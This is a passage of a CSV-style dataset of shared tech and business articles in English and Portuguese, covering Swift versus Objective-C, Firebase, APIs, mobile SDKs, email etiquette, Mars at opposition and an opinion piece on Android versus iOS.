stricter. For example: there are compiler warnings for invoking unknown selector names; collections now support generics to restrict the type they contain; initializers now return instancetype instead of id . These are all small changes, but there are many of them. And their sum effect is a direction from Apple to move the language away from dynamic use. I can't fault iOS developers for not knowing how powerful dynamic Objective-C is, because developer tools have been discouraging its use for years. I admire Brent Simmons, and Craig Hockenberry, and Aaron Hillegass, and many more Objective-C experts. The perspective they bring to Swift is invaluable. Being reminded of our dependencies is important. At the same time, though, maybe it's not important to re-invent Objective-C's dynamic runtime in Swift. The language is far more static than Objective-C. And besides, a dynamic runtime is only a set of tools used to solve problems. In a different context, like Swift, different tools might be better suited. Your goal should not be to find the best tool (there is none), but to grow your tool set, so you can choose the best tool for each job. - Peter Hosey (@boredzo) May 19, 2016 We don't need Objective-C to be pilloried, and we don't need to pretend that Swift is a superior language in every way. At the end of the day, our job is to build software. Having a diverse set of tools means you can solve a diverse set of problems. Let's keep sharing what we learn, and let's keep learning from each other.",en
1463933351,CONTENT SHARED,5658521282502533116,-1561982036714087726,-6957674286814133812,,,,HTML,http://engenhariae.com.br/mais/colunas/ita-esta-oferecendo-10-cursos-gratuitos-a-distancia/,ITA está oferecendo 10 cursos gratuitos a distância - Engenharia é:,"O Instituto Tecnológico de Aeronáutica (ITA) , fundado em 1950, está oferecendo 10 cursos gratuitos por meio da plataforma de ensino on-line Coursera. A plataforma conta conta com mais de 12 milhões de usuários e dispõe de mais de mil cursos de instituições renomadas do Brasil e do mundo. Os professores que ministram os cursos são todos do ITA, instituto de ensino superior do Comando da Aeronáutica (COMAER), localizado no Departamento de Ciência e Tecnologia Aeroespacial (DCTA). Confira cada um dos cursos e faça sua inscrição: 1. Introdução ao Controle de Sistemas 2. Controle Usando a Resposta em Frequência 3. Arquitetura de Software em Projetos Ágeis 4. Desenvolvimento Ágil com Padrões de Projeto 5. Desenvolvimento Ágil com Java Avançado 6. 7. Princípios de Desenvolvimento Ágil de Software 9. TDD - Desenvolvimento de Software Guiado por Testes Projeto Final: Aplicativo para Web com Componente Gamificado 8. Técnicas Avançadas para Projeto de Software 10. Orientação a Objetos com Java PS: O curso é oferecido inteiramente de graça! Logo, caso você queira o certificado, é cobrado uma pequena taxa. Achou útil essa informação? Compartilhe com seus amigos! xD Deixe-nos a sua opinião aqui nos comentários. Nascido no interior de Minas Gerais, foi seminarista em uma congregação francesa, mas viu que que sua vocação era a de ser engenheiro. Criou o Engenharia é: exatamente às 11:28, do dia 2 de agosto de 2011. Você pode falar comigo pelo email: ademilson@engenhariae.com.br ;)",pt
1463934373,CONTENT SHARED,6852597772196653540,-1032019229384696495,7846322948118114767,,,,HTML,https://cloudplatform.googleblog.com/2016/05/Firebase-and-Google-Cloud-better-together.html,Firebase and Google Cloud: better together,"In the short time since Firebase joined Google , the passionate community of developers using the backend-as-a-service to handle the heavy lifting of building an app has grown from 110,000 to over 470,000 developers around the world. In that same span, Firebase has come to rely on Google Cloud Platform , leaning on GCP for core infrastructure as well as value-added services. For example, GCP figures prominently in several of the new Firebase features that we're announcing at Google I/O 2016 today. One of the most requested features by Firebase developers is the ability to store images, videos and other large files. The new Firebase Storage is powered by Google Cloud Storage , giving it massive scalability and allowing stored files to be easily accessed by other projects running on Google Cloud Platform. Firebase now uses the same underlying account system as GCP, which means you can use any GCP product with your Firebase app. For example, you can export raw analytics data from the new Firebase Analytics to Google BigQuery to help you surface advanced insights about your application and users. Going forward, we'll continue to build out integrations between Firebase and Google Cloud Platform, giving you the functionality of a full public cloud as you add to your mobile application portfolio. To learn more about Firebase, visit our new site . For all the new features we're announcing at Google I/O today, click on over to the Firebase blog . We're working quickly to close gaps, and we'd love to hear your feedback so we can improve. You can help by requesting a feature .",en
1463934631,CONTENT SHARED,5206308811707978799,-1032019229384696495,7846322948118114767,,,,HTML,http://techcrunch.com/2016/05/21/the-rise-of-apis/,The rise of APIs,"It's been almost five years since we heard that "" software is eating the world ."" The number of SaaS applications has exploded and there is a rising wave of software innovation in the area of APIs that provide critical connective tissue and increasingly important functionality. There has been a proliferation of third-party API companies, which is fundamentally changing the dynamics of how software is created and brought to market. The application programming interface (API) has been a key part of software development for decades as a way to develop for a specific platform, such as Microsoft Windows. More recently, newer platform providers, from Salesforce to Facebook and Google, have offered APIs that help the developer and have, in effect, created a developer dependency on these platforms. Now, a new breed of third-party APIs are offering capabilities that free developers from lock-in to any particular platform and allow them to more efficiently bring their applications to market. The monolithic infrastructure and applications that have powered businesses over the past few decades are giving way to distributed and modular alternatives. These rely on small, independent and reusable microservices that can be assembled relatively easily into more complex applications. As a result, developers can focus on their own unique functionality and surround it with fully functional, distributed processes developed by other specialists, which they access through APIs. Faster, cheaper, smarter Developers realize that much of the functionality they need to build into an app is redundant to what many other companies are toiling over. They've learned not to expend precious resources on reinventing the wheel but instead to rely on APIs from the larger platforms, such as Salesforce, Amazon and, more recently, specialized developers. We're still in the early innings of this shift to third-party APIs, but a number of promising examples illustrate how developers can turn to companies such as Stripe and Plaid for payment connectivity, Twilio for telephony, Factual for location-based data and Algolia for site search. Indeed, the area is booming. On last check, ProgrammableWeb was providing searchable access to almost 15,000 APIs, with more being added on a daily basis. Developers can incorporate these APIs into their software projects and get to market much more quickly than going it alone. While getting to market more quickly at a lower cost is a huge advantage, there is an even more important advantage: Companies that focus on their core capabilities develop differentiated functionality, their ""secret sauce,"" at higher velocity. The benefits for the rest of the software development ecosystem are profound. Another advantage is third-party APIs are often flat-out better. They work better and provide more flexibility than APIs that are built internally. Companies often underestimate the amount of work that goes into building and maintaining the functionality that they can now get as a third-party API. Finally, third-party API developers have more volume and access to a larger data set that creates network effects. These network effects can manifest themselves in everything from better pricing to superior SLA's to using AI to mine best practices and patterns across the data. For example, Menlo's portfolio company Signifyd offers fraud analysis as an API. They aggregate retail transactions across hundreds of companies, which allows them to understand a breadth of fraud markers better than any individual customer could. A new breed of software companies Releasing software as an API allows those companies to pursue a number of different adoption routes. Rather than trying to sell specific industry verticals or use cases, often the customer is a developer, leading to an extremely low-friction sales process. The revenue model is almost always recurring, which leads to an inherently scalable business model as the end customers' usage increases. While the ecosystem of API-based companies is early in its evolution, we believe the attributes of these companies will combine to create ultimately more capital-efficient and profitable business models. This opportunity is not limited to new upstarts. Existing developers may have the opportunity to expose their own unique functionality as an API, morphing their product from application to platform. Some outstanding companies have built API businesses that match or exceed their original focus: Salesforce reportedly generates 50 percent of its revenues through APIs, eBay nearly 60 percent and Expedia a whopping 90 percent. The model is attractive to entrepreneurs and investors. Rather than trying to create the next hot app and having to invest heavily in marketing and distribution before validating scalable demand, it may make more sense to build a bounded set of functionality and become an arms merchant for other developers. The API model creates a compelling route to market that if successful can scale capital efficiently and gain a network effect over time. Currently, there are 9 million developers working on private APIs; as that talent sees the opportunity to create companies versus functionalities, we may see a significant shift to public API development (where there are currently only 1.2 million developers). Rethinking the value chain In the past, the biggest companies were those closest to the data (e.g. a system of record), able to impose a tax, or lock-in to their platform. In the API economy, the biggest companies may be the ones that aggregate the most data smartly and open it up to others. This enables new types of competitive barriers, as in Twilio's ability to negotiate volume discounts from carriers that no individual developer could obtain, or the volume pricing that Stripe enjoys by pooling payments across many developers. Companies like Usermind (a Menlo Ventures portfolio company) show great promise in allowing enterprises to move beyond their single-application silos by creating workflows and simplifying the API connections between their existing SaaS applications. While the ecosystem for API startups is attractive today, we believe it will only become stronger. Over the last five years there's been a broadening of interest in enterprise-oriented technologies like SaaS, big data, microservices and AI. APIs are the nexus of all four of those areas. As the world of enterprise software development further embraces third-party APIs, we expect to see a number of large companies emerge. The low-touch sales model, recurring revenue and lack of customer concentration lead to a very attractive business model. In addition, the benefits for the rest of the software development ecosystem are profound, as app developers can focus on delivering the unique functionality of their app and more quickly and less expensively deliver that ever-important initial product. Featured Image: Bloomua / Shutterstock",en
1463970713,CONTENT SHARED,1632166079091127830,3609194402293569455,2060318345648789804,,,,HTML,http://epocanegocios.globo.com/Vida/noticia/2016/05/cinco-dicas-de-executivos-de-sucesso-para-se-dar-bem-na-vida-e-no-trabalho.html,Cinco dicas de executivos de sucesso para se dar bem na vida e no trabalho,"(Foto: Thinkstock) O site da revista Inc. selecionou dicas de executivos de sucesso. O que elas têm em comum? Quase todas eles costumam levantar cedo, se exercitam e sabem muito bem como lidar com dinheiro. Eles também valorizam boas noites de sono e se mantêm afiadas estudando constantemente. Aperfeiçoamento é palavra-chave para esse pessoal. Leia abaixo as frases de algumas dessas pessoas bem-sucedidas ""Eu moro em San Francisco, uma bela cidade para caminhar. Todo dia tento andar em algum lugar, seja para ir para uma reunião ou apenas para vagar pela orla. Sempre aproveito para fazer outras coisas enquanto caminho: ligo para um amigo, penso sobre um novo post ou artigo para escrever e até mesmo pratico um discurso para uma apresentação."" Ruth Ross, palestrante, autor de Coming Alive: The Journey to Reengage Your Life and Career, no qual fala sobre a falta de engajamento dos americanos no mundo corporativo Durma, pratique exercícios e medite ""Acordo todo os dias na mesma hora, não importa se é segunda-feira ou domingo. E não importa também a que horas fui dormir. Medito todas as manhãs. Faço exercícios pelo menos cinco manhãs por semana. Isso significa que, antes de começar o meu dia de trabalho, já estou com minha mente e meu corpo preparados para conseguir pensar de forma clara e positiva. Isso me ajudar a ter sucesso."" Stuart Taylor é fundador e CEO do The Resilience Institute, que orienta organizações, líderes e pessoas para ver oportunidade em vez adversidade. ""Separo um tempo do meu dia para dar boas risadas. Gosto de fazer isso à noite, quando minha mente ainda está fervilhando com mil tarefas. Posso rir de um vídeo no Youtube. Essa prática diária limpa minha mente e elimina o stress."" Daniel Young, co-fundador do BInvested ""Todas as manhãs faz questão de deixar meu telefone no modo avião por, no mínimo, uma hora depois de eu acordar para que eu possa passar o tempo ininterrupto com a minha mulher e minha filha de 11 meses de idade. Além de começar o dia cercado por pessoas que você ama, você também se assegura de que seu dia vai começar de forma lúdia e criativa. Isso, muitas vezes, pode ser extremamente útil no seu trabalho."" Ben Harvey, fundador da empresa de treinamento Authentic Education ""Sempre separo 10% do que ganho para guardar. Com isso, consegui me livrar de uma dívida de US$ 187 mil. Quando você paga você mesmo com esse dinheiro, você está se valorizando. Não gaste seu dinheiro com coisas fugazes como carros e casas. Inviste em coisas mais perenes."" Simone Milasas, mentora de negócios e autora do livro Joy of Business Comece o dia com uma pergunta ""Eu começo meu dia com uma pergunta: 'Onde preciso colocar minha atenção hoje?' Eu administro várias empresas e trabalho com pessoas de todo o mundo. Fazer esta pergunta me permite conectar com as pessoas que podem ajudar na realização dos objetivos desse dia rapidamente."" Gary Douglas, autor best-seller, investidor e fundador da empresa de desenvolvimento de pessoal, Access Consciousness.",pt
1464000801,CONTENT SHARED,7062745737910050042,693665567872370395,-3514235894342735362,,,,HTML,https://medium.com/@kevinleong789/here-are-the-sdks-top-mobile-apps-use-faf8e6e5cfee,Here are the SDKs Top Mobile Apps Use,"Here are the SDKs Top Mobile Apps Use We are working on a free community resource for mobile app developers on which app uses what SDKs. Based on our app indexing work, here's some insight into what SDKs some top mobile apps use. We thought it's quite interesting and we wanted to share it with everyone. If interested for more comprehensive insight when we launch our free service for all major apps, please sign up for our Beta here as we may roll out to early Beta users first for early feedback. The list of SDKs below aren't meant to be exhaustive. It'll be more comprehensive when we launch. Instagram : Facebook SDK, AFNetworking, Appirater, Bolts Framework, Cocoa Lumberjack, FXBlur, Halide, SocketRocket Lyft : Kochava SDK, Stripe SDK, LeanPlum SDK, OpenCV, Tune SDK (Mobile App Tracking), AlamoFire, BPXLUUIDHandler, Card.io SDK, Crashlytics, Eigen, Fabric, Google Maps SDK, Appboy SDK, Bolts Framework, ClosureKit, Haneke, JGProgressHUD, Mixpanel, Pusher, SnapKit, SocketRocket, SDWebImage, Zipzap Uber : Adjust SDK, Alipay SDK, Baidu Maps SDK, border-patrol, BPXLUUIDHandler, Braintree SDK, Bully, Card.io SDK, Crashlytics, DeviceUtil, Eigen, Fabric, Facebook SDK, Formatter Kit, Google Maps SDK, KSCrash, LevelDB, Mantle Framework, Masonry, Tune SDK (Mobile App Tracking), OpenCV, PayPal SDK, PocketSVG, Reachability (Pod), SocketRocket, SSKeyChain, 1Password Extension Pinterest : Stripe SDK, Adjust SDK, AFNetworking, Bolts Framework, Branch Metrics SDK, Card.io SDK, Crashlytics, Eigen, Fabric, Facebook SDK, FLAnimatedImage, FMDB, Masonry, OpenCV, Pop Animation Engine, Facebook Shimmer, TTTAttributedLabel Slither.io : Adobe Air SDK, Bolts Framework, Facebook SDK, Google Conversion Tracking SDK, Google Mobile Ads SDK Snapchat : AFNetworking, Amplitude SDK, AppLovin SDK, Cocoa Lumberjack, Crittercism SDK, Eigen, FLAnimatedImage, Flurry SDK, Google Conversion Tracking SDK, Google Mobile Ads SDK, Hockey SDK, Masonry, PLCrashReporter, PSPDFKit, TTTAttributedLabel, ZipArchive SoundCloud : 1Password Extension, Adjust SDK, AFNetworking, Bolts Framework, Cocoa Lumberjack, comScore SDK, Crashlytics, Fabric, Facebook SDK, Google+ SDK, Hockey SDK, Mantle Framework Starbucks : AFNetworking, BPXLUUIDHandler, Card.io SDK, Crashlytics, Eigen, Fabric, Facebook SDK, Google Analytics SDK, LEColorPicker, Tune SDK (Mobile App Tracking), New Relic SDK, OpenCV, PLCrashReporter, Roximity SDK, Spotify SDK, TTTAttributedLabel, Urban Airship SDK, Visa Checkout SDK Tinder : AFNetworking, Bolts Framework, Cocoa Lumberjack, Crashlytics, Fabric, Facebook SDK, FLAnimatedImage, Formatter Kit, Pop Animation Engine, PSPDFKit, Taplytics SDK, TTTAttributedLabel YouTube : Cocoa Lumberjack, Google Breakpad, Google Conversion Tracking SDK, Google Mobile Ads SDK, Google+ SDK, Nimbus Kit If you like what we are doing, sign up here so we can notify you when we launch very soon. We promise we will not spam you and we are not going to sell your email addresses (there're probably easier ways to harvest emails if that's our intention). Happy building.",en
1464005111,CONTENT SHARED,3510349622718287202,3609194402293569455,2060318345648789804,,,,HTML,http://www.inc.com/minda-zetlin/the-simple-mistake-that-makes-1-in-5-people-stop-reading-your-email.html,20 Percent Will Stop Reading Your Email If You Make This One Mistake,"Like it or not, most of your communication with potential customers, business partners, prospective employees , and nearly everyone important to your company goes through email . Yet most of your recipients are drowning in an endless sea of it. Some aren't even bothering to read your messages all the way through. If that's happening, it may be your own fault. In today's busy world, there are new rules for good email, and we all need to learn them, says Heatherm Huang, co-founder of MailTime , an app that makes email conversations look like text messages for easier viewing and responding. He believes that following the new rules of email etiquette will raise the chances of your emails getting read--and getting a favorable response. Here's his advice: 1. Keep it short. ""People are reading more of their emails on the go or as they multitask in meetings,"" Huang says. That being the case, not everyone fully reads or comprehends lengthy missives. In fact, he says, surveys of MailTime users show 76 percent of employees dislike emails more than three paragraphs long--and 20 percent say they won't read any email longer than a paragraph. 2. Answer promptly. Zappos founder Tony Hsieh famously waits till the following day to answer every email, a system he calls "" Yesterbox ."" That may work for him, but for most of us, more rapid response is the norm. I once had a customer send me an email about a project, and then follow up with a message that began, ""I guess you're not around ..."" 15 minutes later. Reason lies somewhere in the middle. For example, 56 percent of MailTime customers respond to emails within four hours, Huang says. "" Business moves quickly and so should your emails."" 3. Think before you CC. Copying an email to everyone who might possibly have an interest in it might seem like a good idea, but with everyone's inbox on overload, it's an outdated approach, Huang says. ""Think about your co-workers who may have nothing to do with some of the emails you send. If you're sure someone will not need to reply to an email, don't send it to them."" And don't blindly reply to an entire group, he adds. Look through the recipient names and remove anyone who doesn't need to receive the message. It's always easy to remove names, even if you're using a mobile phone. 4. Match your greetings to your recipients' style. How should you address people when you email them? You want to match the tone of your greeting and sign-off so that it resonates with whoever receives it, Huang says. For some formality-loving recipients, this might mean addressing them by their last name. For others, a casual ""Hey!"" is all that's needed. Same goes for your email signature or sign-off, Huang says. ""It might be 'Sincerely' or 'Best' or nothing at all, depending on the audience."" 5. Manage your emotions. ""Getting in touch with your emotions before you hit Send is a great habit to build,"" Huang says. ""Sending an email out of anger is a recipe for regret."" With that in mind, he recommends writing a message, saving it as a draft, and then rereading it at a later time. ""Take a breath before you hit Send, and make sure you reread your message with a clear head,"" he says. ""Rapid-firing questions or sending a curt response is no way to behave, even when you're trying to check an annoying task off your list."" 6. Be human. Email can be impersonal, so it's a great idea to humanize it with personal touches that bring it to life or tell recipients more about you. But choose your expressions carefully, Huang advises. ""Cliché greetings have become less popular,"" he says. ""People view them as a poor use of limited device screen area."" Instead, consider emoticons or GIFs, he says. ""Around 20 percent of our users send GIFs in business correspondence regularly, and the number is growing. It's now acceptable for colleagues and business partners to humanize their correspondence with graphics, which also helps to more quickly convey thoughts and feelings."" And anything that helps you more quickly convey your thoughts and feelings will make your email more effective.",en
1464005298,CONTENT SHARED,-6174871522512566947,4918484843075254252,-5131349532990822420,,,,HTML,http://www.psfk.com/2016/05/program-your-grocery-store-to-always-deliver-at-the-right-time.html,Program your way to your next grocery delivery,"Tesco created IFTTT channel where shoppers can pick to have food delivered There are days when doing grocery shopping can be a chore, but grocery store Tesco is making sure that you shop at your own convenience. Tesco and IFTTT (If This Then That) has partnered up to allow the platform users to pick a trigger and an action when it comes to how they want to do their grocery shopping. IFTTT is known as a platform that integrates different accounts together like updating one's social media accounts at the same time. So, Tesco decided to create their own IFTTT channel that offers users two triggers which corresponds to a single action. For example, if it's hot tomorrow, add ice cream in your shopping basket. If eggs have a lower price tomorrow, add eggs in your basket. There are plenty other recipes to choose from in the channel; recipes are shareable too. But right now, what's important is that Tesco shoppers can enjoy the benefits of this platform and will offer more convenience in their grocery shopping routines. Tesco-IFTTT Image: Ian13 | CC | Image cropped and altered",en
1464005864,CONTENT SHARED,33271019004198538,3609194402293569455,2060318345648789804,,,,HTML,https://endeavor.org.br/aumentar-produtividade-inovacao/,Como aumentar a produtividade da Inovação?,"Inovação é algo que todo empreendedor busca atingir em sua empresa. Por acaso você já ouviu falar sobre um tal de funil de inovação? Muito se fala hoje que as empresas, de todo tamanho, precisam inovar para sobreviver às constantes mudanças no mundo, em seus mercados e, especialmente, em sua concorrência. Por outro lado, em um mundo cada vez mais competitivo, não temos mais recursos - financeiros, e - para executar longos projetos de inovação, na confiança de sucesso, até que os novos produtos ou serviços cheguem ao mercado, para só então, eventualmente, falharem. A chave é descobrir, o mais cedo possível, quais iniciativas têm maior chance de serem bem-sucedidas e quais vão apenas consumir recursos sem entregar o resultado esperado. Para isso, ajuda muito reduzir o tempo entre as decisões importantes de cada projeto de inovação, criando milestones e verificações intermediárias, com tomada de decisão da continuidade ou não do projeto. E, a cada intervalo desses, testar as variáveis, com experimentação e validações intermediárias. E como fazer isso? Leia também: Pepino Management: como tomar decisões mais assertivas Leia também: Validação de ideias? Sim! Teste antes de investir Nas experimentações e protótipos, ajuda muito ter sempre mais de uma alternativa para escolher, dentre elas, qual é a melhor. Isso reduz a sensação de falha, a preocupação com eventuais punições pelo insucesso, além de tornar a discussão sempre mais honesta e transparente. Melhor qualidade nas informações para tomar decisões. Aliás, os erros, diferente de negligência, são fundamentais para o aprendizado mais rápido e contínuo e também para reforçar a cultura de inovação. Se tivermos medo de errar, não arriscamos e, portanto, trabalhamos com hipóteses próximas às prováveis. A consequência disso é que não criamos inovação, mas soluções incrementais. O segredo é errar de forma rápida e barata! Pensando nisso, há três variáveis importantes nos projetos de inovação: Qual é o problema a ser resolvido e por que ele é importante para seu cliente; Qual solução que melhor resolve o problema e te diferencia ao máximo da concorrência; e Qual a viabilidade dessa solução em termos de retornos financeiros para a empresa. O primeiro desafio é ter essas questões bem definidas, com clareza e amplamente entendidas entre todos os envolvidos no projeto, mesmo que a inovação se inicie a partir de uma tecnologia nova e diferenciada, a qual acreditamos ter grande potencial de gerar valor a clientes e usuários. Leia também: [Ferramenta] Funil de ideias para um novo negócio Nesse caso ou em outros, onde iniciamos pelas necessidades não atendidas do mercado, a primeira pergunta que deve definir o seu projeto é qual problema nós queremos resolver e por que ele é importante para seu cliente. Isso deve guiar a inovação , definindo seus requisitos, parâmetros a serem obedecidos e todo o resto. Com essas definições claras no projeto, um processo bem estruturado ajuda a aumentar a maturidade da inovação a cada etapa vencida. Seja um processo por funil, stagegates ou qualquer outro, o mais importante é que se reúnam as pessoas certas para revisar e tomar decisões sobre o projeto . Leia também : 5 tendências de consumo para 2016 As perguntas mais críticas e de maior incerteza devem ser respondidas no início, porque são as que trazem maior risco ao sucesso da inovação. Há várias técnicas e metodologias para se avaliar o mercado, interesse dos usuários, desejo, viabilidade tecnológica e financeira que podem ser utilizadas. 1. Accountability Apesar de não nos aprofundarmos nas metodologias nesse artigo, vale reforçar que o entendimento correto dos usuários, seus hábitos e interesses é um diferencial não só no sucesso, mas também na velocidade e custo das inovações. 2. Comitês multifuncionais Conhecer bem o problema a ser resolvido permite reduzir desperdícios de recursos na solução e ter atalhos (responsáveis) na execução para levar sua inovação mais rápido ao mercado. O ""Design Centrado no Humano"", parte do Design Thinking , é um bom conteúdo nessa área. 3. Revisões formais com milestones claros Nas culturas latinas, como a brasileira, o envolvimento emocional é geralmente negligenciado nas relações profissionais, mas tem impacto relevante. Quando iniciamos um projeto ou empreendimento, criamos um laço emocional grande que, por vezes, não nos deixa ter a clareza e isenção necessária para avaliar a competência, adequação e potencial sucesso do projeto. 4. Visão de negócios Para evitar que esse envolvimento prejudique nossa habilidade de antever problemas que possam inviabilizar o projeto, identificarmos essas questões mais cedo com o objetivo de resolvermos as adversidades ou ainda interrompermos os projetos a um menor custo, algumas dicas simples podem ser úteis: Defina o responsável pelo projeto. Ainda que seja uma iniciativa multidisciplinar e que várias pessoas e áreas estejam envolvidas, tenha definido um ""dono"" claro. Não para penalizar algum quando tudo der errado, mas para ter alguém claramente responsável por buscar as respostas para todas as perguntas importantes. Envolva várias áreas e stakeholders nos comitês de avaliação do projeto. Tenha pessoas que não estão envolvidas diretamente, com conhecimento profundo e técnico sobre o assunto. Um olhar com menos viés, de um prisma diferente e mais isento, traz perguntas extremamente importantes que por vezes passam despercebidas. Se você não tiver um processo bem definido de gestão de projetos , é importante definir claramente, na hora do planejamento, quais perguntas serão respondidas e em que sequência e prazo. E tenha disciplina no acompanhamento, tanto dos prazos quanto das entregas. Use o mesmo princípio do empreendedorismo e dos ciclos de capital de risco. Nas etapas iniciais de investigação, aloque orçamentos restritos para o projeto primeiro provar seu conceito, depois a demanda e assim por diante, mas apenas autorize uma maior quantidade de recursos quando tiver respondido as principais perguntas que citamos no começo do artigo. Dali em diante é ""só"" disciplina de execução. Com essas informações, você já pode começar a estruturar ou até mesmo repensar o seu funil de inovação. Um bom planejamento vai te ajudar a inovar de maneira mais assertiva e organizada.",pt
1464009186,CONTENT SHARED,-6634868367571835312,-1443636648652872475,-5771791439000660334,,,,HTML,http://googleappsdeveloper.blogspot.com.br/2016/05/a-study-on-scale-whatsapp-google-drive.html,A study on scale: WhatsApp & Google Drive... the story of our integration,"WhatsApp is one of the most popular mobile apps in the world. Over a billion users send and receive over 42 billion messages, photos, and videos every day. It's fast, easy to use, and reliable. But what happens when people lose their phone or otherwise upgrade to a new one? All those messages and memories would be gone. So we worked with WhatsApp to give their users the ability to back up their data to Google Drive and restore it when they setup WhatsApp on a new phone. With messages and media safely stored in your Drive, there's no more worry about losing any of those memories. Scaling for a billion users One of the biggest challenges for an integration of this scope is scaling. How do you back up data for a billion users? Many things were done to ensure the feature works as intended and is unnoticeable by users. Our approach? First, we relied on a proven infrastructure that can handle this kind of volume-Google Drive. Next, we optimized what to back up and when to do the backups-the key was to upload only incremental changes rather than transmit identical files. On the server side (backend), we focused on optimizing byte storage as well as the number of network calls between WhatsApp and Google. As far as deployment goes, we rolled out slowly over several months to minimize the size and impact of deployment. WhatsApp & Google Drive, a seamless integration If you have ever used WhatsApp, you know how it gets out of your way, and lets you get started quickly: no account creation, no passwords to manage, and no user IDs to remember or exchange. This sets a high bar for any integration with WhatsApp: for it to feel like a natural part of WhatsApp, it has to be as seamless, fast, and reliable as WhatsApp itself. By using the Google Drive API, we were able to achieve this: no need to type in any usernames or passwords, just a few taps in the app, and WhatsApp starts backing up. The best part is that all the tools used in the integration are available to all developers. With the Google Drive API, seamless and scalable integrations are as easy to use for the user as they are for developers. Are you ready to integrate your web and mobile apps with Google Drive? Get started today by checking out our intro video as well as the video demoing the newest API , then dig in with the developer docs found at developers.google.com/drive . We're excited to see what you build next with the Drive API-and we're ready to scale with you!",en
1464012075,CONTENT SHARED,-7685837606421530296,-8845298781299428018,5870747342563057456,,,,HTML,http://mensageirosideral.blogfolha.uol.com.br/2016/05/23/astronomia-a-semana-de-marte/,Astronomia: A semana de Marte - Mensageiro Sideral,"Nasa/ESA A semana que começa traz Marte para pertinho da Terra; não deixe de vê-lo no céu. TEMPORADA MARCIANA Esta é a semana de Marte. Na madrugada de domingo, o planeta vermelho marcou o início de sua máxima aproximação da Terra em 11 anos. O fenômeno atingirá o ponto máximo em exatamente sete dias, no dia 30, quando o mundo vizinho estará a uns 75 milhões de quilômetros. CALMA LÁ Ainda assim, é uma separação apreciável: cerca de 20 vezes maior que a distância média entre a Terra e a Lua. E, como Marte tem só o dobro do diâmetro do nosso satélite natural, é óbvio que aquele papo de que o planeta vermelho vai aparecer do tamanho da Lua no céu é pura lenda urbana. ALINHAMENTO Ontem, o planeta vermelho atingiu o que os astrônomos chamam de ""oposição"". Em essência, isso quer dizer que Marte, Terra e Sol se alinharam. Por conta disso, o planeta vermelho nasceu a leste no mesmo momento em que o astro-rei se pôs a oeste, em oposição a ele. À meia-noite, enquanto o Sol estiver ""sob nossos pés"", Marte estará acima da cabeça - bem brilhante, alaranjado e fácil de achar. OPOSIÇÃO E APROXIMAÇÃO A oposição sempre ocorre perto do ponto de máxima aproximação. Aliás, os dois só não coincidem exatamente porque as órbitas dos planetas não são círculos, e sim elipses (""circunferências achatadas""). Para a maioria dos planetas, o tempo entre a oposição e a máxima aproximação é mínimo, medido em horas. EXAGERADO Marte, contudo, está bem mais próximo e tem uma das órbitas mais achatadas dentre os planetas, o que torna a diferença entre oposição e aproximação máxima mais significativa - mais de uma semana neste ano. A coluna ""Astronomia"" é publicada às segundas-feiras, na Folha Ilustrada. 2018 TEM MAIS Essas aproximações de Marte acontecem a cada 26 meses. Antigamente, os astrônomos aproveitavam a ocasião para obter as imagens mais detalhadas do planeta. Hoje, as circunstâncias são mais importantes para os engenheiros aeroespaciais, pois os momentos de aproximação entre os mundos definem as janelas de lançamento para as missões marcianas. Acompanhe o Mensageiro Sideral no Facebook , no Twitter e no YouTube",pt
1464017991,CONTENT SHARED,2858969450431709251,-1443636648652872475,-5771791439000660334,,,,HTML,http://appleinsider.com/articles/16/05/22/google-io-2016-androids-failure-to-innovate-hands-a-apple-free-run-at-wwdc,Google I/O 2016: Android's failure to innovate hands a Apple free run at WWDC,"Rather than focusing on the incremental innovation needed to win back the attention of enterprise users and premium consumers, Google's vision for Android this year has again leapt in new directions which appear even less attainable. Android's scattered, imitative strategies du jour are resulting in a platform that looks a lot like Apple's-albeit the very unsuccessful Apple of the mid 90s. Google's chief executive Sundar Pichai was supposed to bring some adult supervision to Android. Two years ago in 2014, he belated began addressing efforts to appeal to the enterprise in Android 5 Lollipop , and over the next year he focused on broadly deploying the company's Android 6 Marshmallow software via an affordable handset reference design that could be produced for as little as $100. Neither effort really gained traction, resulting in Android's Marshmallow release instead reaching a new low in first year penetration rate, 20 percent lower than the previous year's rather dismal figure of about 10 percent adoption of Lollipop. While Google has scrambled to assert its control over Android and to stop Samsung, its largest licensee by far, from hijacking the platform and turning it into a vehicle for delivering its own rival services, core innovation in Android itself has ground to a halt, as this year's Google I/O conference made abundantly clear. Android's failure to innovate This was already becoming evident at last year's I/O me-too conference, where Google introduced a series of initiatives that were based directly on catching up with iOS, including moving to the iOS app permissions model, iOS-style copy and paste and duplicating Apple Pay and CarPlay for Android. Google's biggest other news a year ago was Google Photos, a free app and service that was offered cross platform. Apart from giving Google access to users' personal content, this didn't help Android become a more viable alternative platform, and certainly didn't win back any valuable segments of market share. Android's effective stagnation was no help to its largest licensee Samsung, which limped through a very painful year where it lost around half of its premium smartphone sales to iPhone 6, erasing 74 percent of its mobile profits, then continued to remain held in check by Apple's iPhone 6s successor featuring Live Photos and 3D Touch. While the media has focused on Apple's first quarterly decline in growth, which occured during this year's 6s cycle, Samsung's mobile profits are still well below where they were two years ago. Apple's profitably is not. Samsung's Q1 earnings of 6.68 T KRW are barely two thirds of its peak profits from 2013. Mobile devices now account for just 58 percent of that, compared to 70 percent during 2014's Peak Galaxy. It's also not helping Samsung at all that Google's Pichai has refocused Android on selling ""the next billion"" low end devices in emerging markets, particularly India, rather than continuing to target Apple's high end, premium market segment with innovative, compelling features that might woo users toward Android's high end. Android Silver, an initiative to do just that, has been abandoned. Android is looking like Symbian 2008 Lacking noteworthy improvement-and with its future growth potential frozen as smartphone sales flatline-Android is becoming the new Symbian , the pre-Android smartphone platform that featured too many divergent leaders all leveraging its openness to pull the platform in a different direction, with the result of it going nowhere. Microsoft is looking at how it can benefit from its own fork of Android. Chinese companies are building Android variants that similarly do not benefit Google in any way. Even Blackberry has launched an Android phone that it hopes to tie into its own services. And of course Samsung is not only trying to pull Android in its own proprietary direction, but is also threatening to undermine Android with Tizen, if it can ever figure out how. That type of fragmented chaos is exactly what Apple leveraged to stand out as the premium platform prior to Android hitting the scene around 2009 That type of fragmented chaos is exactly what Apple leveraged to stand out as the premium platform prior to Android assuming Symbian's role beginning in 2010. It's possible that Apple could fumble the ball and sit back on its billions while letting iOS stagnate. But iPhone and iPad sales are facing enough pressure from currency exchange rates and the global economic downturn to allow Apple to get very complacent. Android was once delivering fast and fresh ideas at a regular clip, putting Apple's iOS on the defensive and causing its critics to complain that Apple's platform was looking dated and old. But look how quickly Apple rolled out the new appearance of iOS 7 along with Metal GPU optimization , 64 bit apps , AirDrop and CarPlay . It then followed up with iOS 8 featuring Notification Center, iCloud 